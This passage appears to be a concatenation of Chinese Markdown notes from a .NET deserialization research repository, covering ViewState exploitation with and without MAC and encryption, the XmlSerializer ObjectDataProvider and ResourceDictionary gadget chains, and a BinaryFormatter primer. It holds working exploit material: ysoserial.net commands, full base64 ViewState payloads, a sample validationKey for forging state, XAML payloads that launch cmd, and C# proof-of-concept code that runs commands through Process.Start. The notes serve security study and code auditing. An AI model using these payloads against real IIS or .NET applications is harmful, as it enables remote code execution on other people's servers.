"); 138 | Response.Write(Environment.Version.ToString(3)); 139 | %> 140 | ``` 141 | 142 | 把注册表改为0,重启IIS,此时就能禁用mac验证了。 143 | 144 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/4ae376b8-adcd-dd2e-5092-5faa746f4287.png) 145 | 146 | # 禁用mac时的利用 147 | 148 | 当禁用mac时并且没有启用加密时,我们可以直接用LosFormatter生成payload打过去。 149 | 150 | ``` 151 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f losformatter -g SessionViewStateHistoryItem -c "ping localhost -t" 152 | /wEyqQsAAQAAAP////8BAAAAAAAAAAwCAAAAVFN5c3RlbS5XZWIuTW9iaWxlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAASVN5c3RlbS5XZWIuVUkuTW9iaWxlQ29udHJvbHMuU2Vzc2lvblZpZXdTdGF0ZStTZXNzaW9uVmlld1N0YXRlSGlzdG9yeUl0ZW0BAAAAAXMBAgAAAAYDAAAA3Akvd0V5bmdjQUFRQUFBUC8vLy84QkFBQUFBQUFBQUF3Q0FBQUFYazFwWTNKdmMyOW1kQzVRYjNkbGNsTm9aV3hzTGtWa2FYUnZjaXdnVm1WeWMybHZiajB6TGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBUTXhZbVl6T0RVMllXUXpOalJsTXpVRkFRQUFBRUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQkFBQUFEMFp2Y21WbmNtOTFibVJDY25WemFBRUNBQUFBQmdNQUFBREFCVHcvZUcxc0lIWmxjbk5wYjI0OUlqRXVNQ0lnWlc1amIyUnBibWM5SW5WMFppMHhOaUkvUGcwS1BFOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpQk5aWFJvYjJST1lXMWxQU0pUZEdGeWRDSWdTWE5KYm1sMGFXRnNURzloWkVWdVlXSnNaV1E5SWtaaGJITmxJaUI0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenB6WkQwaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMHVSR2xoWjI1dmMzUnBZM003WVhOelpXMWliSGs5VTNsemRHVnRJaUI0Yld4dWN6cDRQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQ0krRFFvZ0lEeFBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRb2dJQ0FnUEhOa09sQnliMk5sYzNNK0RRb2dJQ0FnSUNBOGMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ0lDQWdJRHh6WkRwUWNtOWpaWE56VTNSaGNuUkpibVp2SUVGeVozVnRaVzUwY3owaUwyTWdjR2x1WnlCc2IyTmhiR2h2YzNRZ0xYUWlJRk4wWVc1a1lYSmtSWEp5YjNKRmJtTnZaR2x1WnowaWUzZzZUblZzYkgwaUlGTjBZVzVrWVhKa1QzVjBjSFYwUlc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVmMyVnlUbUZ0WlQwaUlpQlFZWE56ZDI5eVpEMGllM2c2VG5Wc2JIMGlJRVJ2YldGcGJqMGlJaUJNYjJGa1ZYTmxjbEJ5YjJacGJHVTlJa1poYkhObElpQkdhV3hsVG1GdFpUMGlZMjFrSWlBdlBnMEtJQ0FnSUNBZ1BDOXpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQThMM05rT2xCeWIyTmxjM00rRFFvZ0lEd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlMazlpYW1WamRFbHVjM1JoYm1ObFBnMEtQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEkrQ3c9PQs= 153 | ``` 154 | 155 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/fe4d2c16-1efe-c126-da7c-feaca212191e.png) 156 | 157 | 这里爆出了TextFormattingRunProperties的错误,说明执行了命令 158 | 159 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/bf59ea4f-80e4-8f3c-6516-b7543e5a40ac.png) 160 | 161 | 162 | 在传递__VIEWSTATE参数时发现是直接GET传参,其实POST传参也行,为什么直接传递参数就会被解析?是因为在Page中还有一个EnableViewState="false"的属性。 163 | 164 | ```csharp 165 | <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" EnableViewState="true" EnableViewStateMac="false" %> 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 |
175 |
176 | <% 177 | System.Reflection.PropertyInfo propertyInfo = Page.GetType().GetProperty("EnableViewStateMac", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance); 178 | object v = propertyInfo.GetValue(Page, new object[] { }); 179 | Response.Write(propertyInfo.Name + ":" + v + "
"); 180 | Response.Write(Environment.Version.ToString(3)); 181 | ViewState.Add("asd", "asd"); 182 | %> 183 |
184 |
185 | 186 | 187 | ``` 188 | 189 | 当 `EnableViewState="true"` 时,`__VIEWSTATE`为 `/wEPDwUKLTg0NTYxMzIxNQ8WAh4DYXNkBQNhc2RkZA==` 190 | 191 | false时,`__VIEWSTATE`为 `/wEPDwUKLTg0NTYxMzIxNWRk`。 192 | 193 | 区别在于禁用ViewState之后ViewState只是变短了而已,但是这个字段仍然存在,所以viewstate仍会被IIS被动解析。 194 | 195 | Page类有一个RequestViewStateString属性 196 | 197 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/dc9ad425-45f7-bca2-9fd7-27e09321aba8.png) 198 | 199 | 从request中拿到`__VIEWSTATE` 200 | 201 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/b6b5b6a0-dd7d-d479-b187-7eb2799f270c.png) 202 | 203 | 在`System.Web.dll!System.Web.UI.HiddenFieldPageStatePersister.Load()`中获取`__VIEWSTATE`,交给objectstateformatter进行反序列化。所以请求中只要有`__VIEWSTATE`就会反序列化。 204 | 205 | 到这里我们清楚了,iis默认被动解析viewstate,如果禁用mac并且没有启用加密可以直接rce。但是实际环境都是默认启用mac校验,并且一般会启用加密,所以接下来看一下启用加密的viewstate怎么利用。 206 | 207 | # 启用加密的利用 208 | 启用加密需要配置machineKey字段,page中`ViewStateEncryptionMode="Always"`时会自动生成machineKey。 209 | 210 | [微软文档中](https://docs.microsoft.com/en-us/previous-versions/msp-n-p/ff649308(v=pandp.10)?redirectedfrom=MSDN)提到在web.config中可以配置如下来自动生成machineKey。web.config中默认就是这个,效果等同于不写。 211 | 212 | ``` 213 | 218 | ``` 219 | 220 | viewstate用于身份验证的情况下,每次都会根据machineKey的配置来加密解密。而每台机器生成的key都不一样,所以在大型应用比如sharepoint中会进行手动配置machineKey。而手动配置如果我们拿到了machineKey的值,就可以对其利用。 221 | 222 | 一个手动配置的例子如下 223 | 224 | ```xml 225 | 226 | ``` 227 | 228 | 用ysoserial.net生成 229 | 230 | ``` 231 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -p viewstate -g TextFormattingRunProperties -c "ping localhost -t" --validationkey=70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0 --validationalg=SHA1 --islegacy 232 | 233 | /wEyngcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADABTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgcGluZyBsb2NhbGhvc3QgLXQiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+C+yvvPy4DNhXXbZoH56OR6lLdT4o 234 | ``` 235 | 236 | 将IIS的应用程序池设置为.net4.5,不然会报错找不到TextFormattingRunProperties的依赖 237 | 238 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/6e3ff083-e041-bacd-1956-d49a0843c9dd.png) 239 | 240 | 这边报错强制类型转换错误 241 | 242 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/bb16a818-de19-8c73-a308-1cd7455cbe84.png) 243 | 244 | 实际上是已经执行了cmd的 245 | 246 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/8ef07813-60a3-aa7d-513a-506a3a782943.png) 247 | 248 | 249 | # __VIEWSTATEGENERATOR字段 250 | 251 | 大腿师傅问我`VIEWSTATEGENERATOR`字段对上的话,machineKey是不是一样。以及__VIEWSTATEGENERATOR是不是根据path和apppath生成的。 252 | 253 | 在objectstateformatter的反序列化方法中,启用加密会进入GetDecodedData解密viewstate 254 | 255 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/476ea7c8-bc14-8a28-dd69-e4b75773efab.png) 256 | 257 | 其参数有一个GetMacKeyModifier()方法的返回值 258 | 259 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/46cfaa8b-ef24-608d-2c9e-daa632e59ab3.png) 260 | 261 | 它返回一个字节数组,其中GetClientStateIdentifier来用TemplateSourceDirectory和classname计算hashcode 262 | 263 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/828eadb9-d594-d39e-911e-40241c3b40ea.png) 264 | 265 | 接着判断viewStateUserKey是否为空,如果不为空就使用_page.ViewStateUserKey,为空就用GetClientStateIdentifier()生成的。 266 | 267 | 也能用__VIEWSTATEGENERATOR字段,因为__VIEWSTATEGENERATOR字段就是用GetClientStateIdentifier计算的。 268 | 269 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/09e5995e-ab32-c2b2-dac3-c10fb8622d5b.png) 270 | 271 | 回到大腿师傅的问题,我个人结论是__VIEWSTATEGENERATOR和machineKey没有关系。 272 | 273 | 274 | 本地实验两个不同的machineKey,__VIEWSTATEGENERATOR一致 275 | 276 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/383c3259-eb80-42c1-d358-7afe97bfbc04.png) 277 | 278 | 而当machineKey相同,文件名和类名不同时,__VIEWSTATEGENERATOR不一致 279 | 280 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/c45227a0-3f44-6ba7-54ea-35555406695f.png) 281 | 282 | 原因就是GetClientStateIdentifier生成__VIEWSTATEGENERATOR是依据TemplateSourceDirectory和classname,而并非machineKey。 283 | 284 | 另外ysoserial.net中viewstate插件有apppath和path参数,这两个参数就是用来计算VIEWSTATEGENERATOR的值,如果页面源代码里没有VIEWSTATEGENERATOR,可以使用这两个参数来计算。 285 | 286 | 287 | 288 | # 参考 289 | 1. https://www.cnblogs.com/edisonchou/p/3901559.html 290 | 2. https://paper.seebug.org/1386/ 291 | 3. https://github.com/0xacb/viewgen 292 | -------------------------------------------------------------------------------- /XmlSerializer.md: -------------------------------------------------------------------------------- 1 | # XmlSerializer 类 2 | 3 | XmlSerializer是微软自带的序列化类,用于在xml字符串和对象之间相互转化。其命名空间:[System.Xml.Serialization](https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.serialization?view=net-5.0),程序集为:System.Xml.XmlSerializer.dll,[微软文档地址在这](https://docs.microsoft.com/zh-cn/dotnet/api/system.xml.serialization.xmlserializer?view=net-5.0)。 4 | 5 | # 使用案例 6 | 7 | ```csharp 8 | using System; 9 | using System.Collections.Generic; 10 | using System.IO; 11 | using System.Linq; 12 | using System.Text; 13 | using System.Threading.Tasks; 14 | using System.Xml.Serialization; 15 | 16 | namespace XmlDeserialization 17 | { 18 | [XmlRoot] 19 | public class Person 20 | { 21 | [XmlElement] 22 | public int Age { get; set; } 23 | [XmlElement] 24 | public string Name { get; set; } 25 | [XmlArray("Items")] 26 | public Order[] OrderedItems; 27 | [XmlAttribute] 28 | public string ClassName { get; set; } 29 | } 30 | 31 | public class Order 32 | { 33 | public int OrderID; 34 | } 35 | 36 | class Program 37 | { 38 | static void Main(string[] args) 39 | { 40 | Person p = new Person(); 41 | p.Name = "jack"; 42 | p.Age = 12; 43 | Order order = new Order(); 44 | order.OrderID = 123; 45 | Order order1 = new Order(); 46 | order.OrderID = 456; 47 | Order[] orders = new Order[] { order, order1 }; 48 | p.OrderedItems = orders; 49 | p.ClassName = "classname"; 50 | 51 | 52 | XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person)); 53 | MemoryStream memoryStream = new MemoryStream(); 54 | TextWriter writer = new StreamWriter(memoryStream); 55 | // 序列化 56 | xmlSerializer.Serialize(writer, p); 57 | 58 | memoryStream.Position = 0; 59 | 60 | // 输出xml 61 | Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray())); 62 | // 反序列化 63 | Person p1 = (Person)xmlSerializer.Deserialize(memoryStream); 64 | Console.WriteLine(p1.Name); 65 | Console.ReadKey(); 66 | } 67 | } 68 | } 69 | ``` 70 | 71 | 输出结果 72 | 73 | ```xml 74 | 75 | 76 | 77 | 78 | 456 79 | 80 | 81 | 0 82 | 83 | 84 | 12 85 | jack 86 | 87 | jack 88 | ``` 89 | 90 | XmlSerializer只能将对象的公共(public)属性和公共字段进行序列化和反序列化。 91 | 92 | 在序列化的时候我们可以看到`new XmlSerializer(typeof(Person))`将对象类型type传入xmlserializer,这边有几种方式获取Type 93 | 94 | ```csharp 95 | XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));// typeof() 96 | XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType()); // 对象的GetType()方法 97 | XmlSerializer xmlSerializer2 = new XmlSerializer(Type.GetType("XmlDeserialization.Person")); //使用命名空间加类名 98 | ``` 99 | 100 | # 反序列化攻击链 101 | 102 | 对于xml反序列化最经典的就是ObjectDataProvider,在ysoserial.net工具中有这条gadget。使用ysoserial.net生成 103 | 104 | ```xml 105 | PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -g ObjectDataProvider -c calc -f xmlserializer 106 | 107 | 108 | 109 | 110 | 111 | Parse 112 | 113 | 114 | cmd/c calc]]> 115 | 116 | 117 | 118 | 119 | 120 | 121 | ``` 122 | 123 | ## ObjectDataProvider 124 | 125 | 分析一下ObjectDataProvider是什么玩意 126 | 127 | ```csharp 128 | ObjectDataProvider o = new ObjectDataProvider(); 129 | o.MethodParameters.Add("cmd.exe"); 130 | o.MethodParameters.Add("/c calc"); 131 | o.MethodName = "Start"; 132 | o.ObjectInstance = new Process(); 133 | Console.ReadKey(); 134 | ``` 135 | 136 | 当执行的时候会弹出计算器。但是使用xml序列化时会报错 137 | 138 | ```csharp 139 | ObjectDataProvider o = new ObjectDataProvider(); 140 | o.MethodParameters.Add("cmd.exe"); 141 | o.MethodParameters.Add("/c calc"); 142 | o.MethodName = "Start"; 143 | o.ObjectInstance = new Process(); 144 | XmlSerializer xml = new XmlSerializer(typeof(Object)); 145 | xml.Serialize(writer, o); 146 | ``` 147 | 148 | ```txt 149 | InvalidOperationException: 不应是类型 System.Windows.Data.ObjectDataProvider。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。 150 | ``` 151 | 152 | 因为序列化过程中o的类型未知,这里可以使用`ExpandedWrapper`类包装下我们自己的类,然后在MethodName调用自己的方法来执行恶意命令。 153 | 154 | ```csharp 155 | using System; 156 | using System.Diagnostics; 157 | using System.IO; 158 | using System.Text; 159 | using System.Windows.Data; 160 | using System.Xml.Serialization; 161 | using System.Data.Services.Internal; 162 | 163 | namespace XmlDeserialization 164 | { 165 | [XmlRoot] 166 | public class Person 167 | { 168 | [XmlAttribute] 169 | public string ClassName { get; set; } 170 | public void Evil(string cmd) 171 | { 172 | Process process = new Process(); 173 | process.StartInfo.FileName = "cmd.exe"; 174 | process.StartInfo.Arguments = "/c " + cmd; 175 | process.Start(); 176 | } 177 | } 178 | 179 | class Program 180 | { 181 | static void Main(string[] args) 182 | { 183 | MemoryStream memoryStream = new MemoryStream(); 184 | TextWriter writer = new StreamWriter(memoryStream); 185 | ExpandedWrapper expandedWrapper = new ExpandedWrapper(); 186 | expandedWrapper.ProjectedProperty0 = new ObjectDataProvider(); 187 | expandedWrapper.ProjectedProperty0.MethodName = "Evil"; 188 | expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc"); 189 | expandedWrapper.ProjectedProperty0.ObjectInstance = new Person(); 190 | XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper)); 191 | xml.Serialize(writer, expandedWrapper); 192 | string result = Encoding.UTF8.GetString(memoryStream.ToArray()); 193 | Console.WriteLine(result); 194 | 195 | memoryStream.Position = 0; 196 | xml.Deserialize(memoryStream); 197 | 198 | Console.ReadKey(); 199 | } 200 | } 201 | } 202 | ``` 203 | 204 | 这里不足的地方是Person类中的Evil方法是我们自己写的,而实际过程中需要寻找其他点调用Process执行命令。而这则引出了ResourceDictionary这个更深层次的攻击链。 205 | 206 | ## ResourceDictionary 207 | 208 | ResourceDictionary即资源字典,用于wpf开发,既然是wpf,肯定涉及到xaml语言。先来看利用ResourceDictionary执行命令的一个payload。 209 | 210 | ```xaml 211 | 216 | 217 | 218 | cmd 219 | /c calc 220 | 221 | 222 | 223 | ``` 224 | 解释下这段xaml: 225 | 226 | 1. xmlns:c 引用了System.Diagnostics命名空间起别名为c 227 | 2. d:Key="" 起别名为空,在xaml语法中,Key这个键值必须有。 228 | 3. ObjectType表示对象类型 229 | 4. d:Type 等同于typeof() 230 | 5. MethodName是ObjectDataProvider的属性,传递一个Start等于调用Start方法。 231 | 6. c:Process 等同于System.Diagnostics.Process 232 | 233 | 整个xaml被解析之后,等同于创建了一个ObjectDataProvider对象,该对象又会自动调用`System.Diagnostics.Process.Start("cmd.exe","/c calc")` 234 | 235 | 因为是xaml的语言,我们使用XamlReader.Parse()来解析它,运行后会弹出calc。其中base64的是上文ResourceDictionary的payload。 236 | 237 | ```csharp 238 | using System; 239 | using System.Text; 240 | using System.Windows.Markup; 241 | 242 | namespace XmlDeserialization 243 | { 244 | class Program 245 | { 246 | static void Main(string[] args) 247 | { 248 | string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg=="; 249 | byte[] vs = Convert.FromBase64String(p); 250 | string xml = Encoding.UTF8.GetString(vs); 251 | XmlDeserialize(xml); 252 | Console.ReadKey(); 253 | } 254 | public static void XmlDeserialize(string o) 255 | { 256 | XamlReader.Parse(o); 257 | } 258 | } 259 | } 260 | ``` 261 | 262 | 此时相当于我们利用XamlReader.Parse()进行了进一步利用,对于xmlserializer来说攻击链从原来的 263 | 264 | - ObjectDataProvider -> Person.Evil() 265 | 266 | 转变为 267 | 268 | - ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc") 269 | 270 | 拿java来说ObjectDataProvider 更像是commons-collections的InvokerTransformer,可以调用任意类的任意方法。 271 | 272 | 273 | 274 | 此时回头看ysoserial.net生成的payload就一目了然了。 275 | 276 | ```xaml 277 | 278 | 279 | 280 | 281 | 282 | Parse 283 | 284 | 285 | cmd/c calc]]> 286 | 287 | 288 | 289 | 290 | 291 | 292 | ``` 293 | 294 | # 代码审计视角 295 | 296 | 首先就是针对初始化时`new XmlSerializer(type)`的type参数,如果type可控,就可以利用ObjectDataProvider调用XamlReader的Parse进行RCE。 297 | 298 | 当然也要关注`XamlReader.Parse(xml)`中的xml是否可控。 299 | 300 | # 后文 301 | 302 | ObjectDataProvider这条链联动了XamlReader.Parse(),在ysoserial.net中也作为很多其他链条的一部分,是值得学习并且必须掌握的一条gadget。 -------------------------------------------------------------------------------- /dotnet-serialize-101.assets/image-20210417112301434.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/dotnet-serialize-101.assets/image-20210417112301434.png -------------------------------------------------------------------------------- /dotnet-serialize-101.assets/image-20210418140955935.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/dotnet-serialize-101.assets/image-20210418140955935.png -------------------------------------------------------------------------------- /dotnet-serialize-101.assets/image-20210420105228965.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/dotnet-serialize-101.assets/image-20210420105228965.png -------------------------------------------------------------------------------- /dotnet-serialize-101.assets/image-20210420110242909.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/dotnet-serialize-101.assets/image-20210420110242909.png -------------------------------------------------------------------------------- /dotnet-serialize-101.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # dotnet-serialize-101 4 | 5 | > java太卷了,找点新的学习方向,从0到1学习dotnet的一些反序列化漏洞。 6 | 7 | # 简述dotnet序列化和反序列化 8 | 9 | 同java类比,dotnet也需要对某个对象进行持久化处理,从而在任何时间都能够恢复这个对象。为什么要使用序列化?因为我们需要将重要的对象存入到媒体,这个媒体可能是数据库或者是文件,或者我们需要将对象进行网络传输传递到另一个服务上,而这个对象转媒体(数据库、文件、网络传输流)的过程就是序列化的过程,反序列化则正好相反。 10 | 11 | # 一个简单序列化的例子 12 | 13 | 微软官方文档给出了内置库中可以序列化的类型列表,[见这里](https://docs.microsoft.com/zh-cn/dotnet/standard/serialization/binary-serialization)。先来声明一个实体类。在java中,序列化和反序列化需要实现Serializable接口,在dotnet中则是使用`特性`的方式进行标记Serializable。 14 | 15 | ```csharp 16 | [Serializable] 17 | public class MyObject 18 | { 19 | public int n1; 20 | [NonSerialized] public int n2; 21 | public String str; 22 | } 23 | ``` 24 | 25 | 你也可以指定`[NonSerialized]`表示不能被序列化的字段。接下来我们构建一个MyObject对象并对其序列化和反序列化。 26 | 27 | ```csharp 28 | using System; 29 | using System.IO; 30 | using System.Runtime.Serialization; 31 | using System.Runtime.Serialization.Formatters.Binary; 32 | 33 | namespace NetSerializer 34 | { 35 | [Serializable] 36 | public class MyObject 37 | { 38 | public int n1; 39 | [NonSerialized] public int n2; 40 | public String str; 41 | } 42 | 43 | class Program 44 | { 45 | public static void BinaryFormatterSerialize(string file, object o) 46 | { 47 | BinaryFormatter binaryFormatter = new BinaryFormatter(); 48 | FileStream fileStream = new FileStream(file, FileMode.Create, FileAccess.Write, FileShare.None); 49 | binaryFormatter.Serialize(fileStream, o); 50 | fileStream.Close(); 51 | Console.WriteLine($"serialize object {o} to file {file}."); 52 | } 53 | 54 | public static object BinaryFormatterDeserialFromFile(string file) 55 | { 56 | IFormatter formatter = new BinaryFormatter(); 57 | Stream stream = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.Read); 58 | object o = formatter.Deserialize(stream); 59 | stream.Close(); 60 | return o; 61 | } 62 | 63 | static void Main(string[] args) 64 | { 65 | try 66 | { 67 | MyObject myObject = new MyObject(); 68 | myObject.n1 = 1; 69 | myObject.n2 = 2; 70 | myObject.str = "jack"; 71 | 72 | BinaryFormatterSerialize("1.bin", myObject); 73 | MyObject myObject1 = (MyObject)BinaryFormatterDeserialFromFile("1.bin"); 74 | 75 | Console.WriteLine($"n1:{myObject1.n1}"); 76 | Console.WriteLine($"NonSerialized n2:{myObject1.n2}"); 77 | Console.WriteLine($"str:{myObject1.str}"); 78 | } 79 | catch (Exception e) 80 | { 81 | Console.WriteLine(e.Message); 82 | } 83 | Console.ReadKey(); 84 | } 85 | } 86 | } 87 | ``` 88 | 89 | 输出结果为: 90 | 91 | ```txt 92 | serialize object NetSerializer.MyObject to file 1.bin. 93 | n1:1 94 | NonSerialized n2:0 95 | str:jack 96 | ``` 97 | 98 | 可以看到对象除了被标记不能被序列化的字段以外全部恢复到了原来的值。查看生成的bin文件,发现序列化之后的数据采用`0001 0000`开头 99 | 100 | ![image-20210418140955935](dotnet-serialize-101.assets/image-20210418140955935.png) 101 | 102 | # Formatter 103 | 104 | 在序列化的时候我们引入了一个BinaryFormatter类,这个类表示使用二进制的形式进行序列化,而在dotnet中有很多其他的formatter类,每一个formatter都对应了一种序列化的格式,列举几个: 105 | 106 | 1. BinaryFormatter 用于二进制格式 107 | 2. SoapFormatter 用于序列化soap格式 108 | 3. LosFormatter 用于序列化 Web 窗体页的视图状态 109 | 4. ObjectStateFormatter 用于序列化状态对象图 110 | 111 | 当然还有一些其他格式的序列化类,比如XmlSerializer、JsonSerializer等用于生成xml、json格式的数据,这个以后再说。 112 | 113 | 这些formatter类都实现了名为IFormatter、IRemotingFormatter的接口,其中IRemotingFormatter是用来远程调用的RPC接口,它也实现了IFormatter,所以重点看IFormatter接口。 114 | 115 | ![image-20210417112301434](dotnet-serialize-101.assets/image-20210417112301434.png) 116 | 117 | IFormatter定义了序列化和反序列化的两个方法,以及三个字段,其中每个字段含义如下: 118 | 119 | | 类 字段名 | 含义用途 | 120 | | ------------------------------------ | ------------------------------------------------------- | 121 | | ISurrogateSelector SurrogateSelector | 序列化代理选择器 接管formatter的序列化或反序列化处理 | 122 | | SerializationBinder Binder | 用于控制在序列化和反序列化期间使用的实际类型 | 123 | | StreamingContext Context | 序列化流上下文 其中states字段包含了序列化的来源和目的地 | 124 | 125 | 通过这三个字段,我们可以控制序列化和反序列化时数据的类型、值以及其他信息。 126 | 127 | # BinaryFormatter序列化的生命周期和事件 128 | 129 | 根据微软的文档,当formatter调用Serialize方法的时候,会有以下的生命周期。 130 | 131 | 1. 